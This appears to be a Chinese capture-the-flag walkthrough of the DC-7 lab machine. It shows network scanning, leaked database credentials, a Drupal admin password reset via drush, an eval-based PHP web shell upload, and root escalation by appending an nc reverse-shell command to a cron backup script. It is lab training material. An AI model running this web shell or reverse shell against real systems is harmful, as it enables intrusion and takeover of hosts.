查找靶机iP
arp-scan -l
靶机:192.168.149.146
主机:192.168.149.129
查看端口
nmap -sS -A 192.168.149.146 -p-
登录网站
发现没有什么信息,去作者的博客上查看,发现有配置文件
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
可以从中得到用户和密码
无法登录,尝试ssh
获取信息
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
查看文件backups.sh
drush是一个shell接口,用于从云服务器命令行管理Drupal。
需要在 drupal web目录执行(/var/www/[drupal_folder_name])
使用 drup 更改密码运行命令(drush user-password admin --password="new_pass")
我们需要到/var/www/html/下进行修改密码
drush user-password admin --password="root"
登录网站
发现在Content => Add content =>Basic page处似乎可以写shell。
但发现Drupal 8不支持PHP代码,我们去百度搜索后发现Drupal 8后为了安全,需要将php单独作为一个模块导入。进入Extend => Install new module,输入php模块包的url。
shell
上传木马
<?php @eval($_POST['123']) ?>
蚁剑连接
http://192.168.149.146/node/4
连接成功
监听
交互
提权
使用find / -perm -u=s 2>/dev/null进行查找是否可以进行suid提权
因为我们当前的用户为www-data所以我们可以使用之前root用户的定时任务进行提权
所以我们再次使用nc写个反弹命令进定时任务中
echo "nc -e /bin/bash 192.168.149.154 5555" >> /opt/scripts/backups.sh
-e /bin/bash 192.168.149.154 5555" >> /opt/scripts/backups.sh
[外链图片转存中...(img-sL0lG5AU-1692519607754)]
[外链图片转存中...(img-i0ZXy3gi-1692519607754)]
![image-20230814220128940](https://img-blog.csdnimg.cn/img_convert/7a1e6283717b303041dba2fa719967b4.png)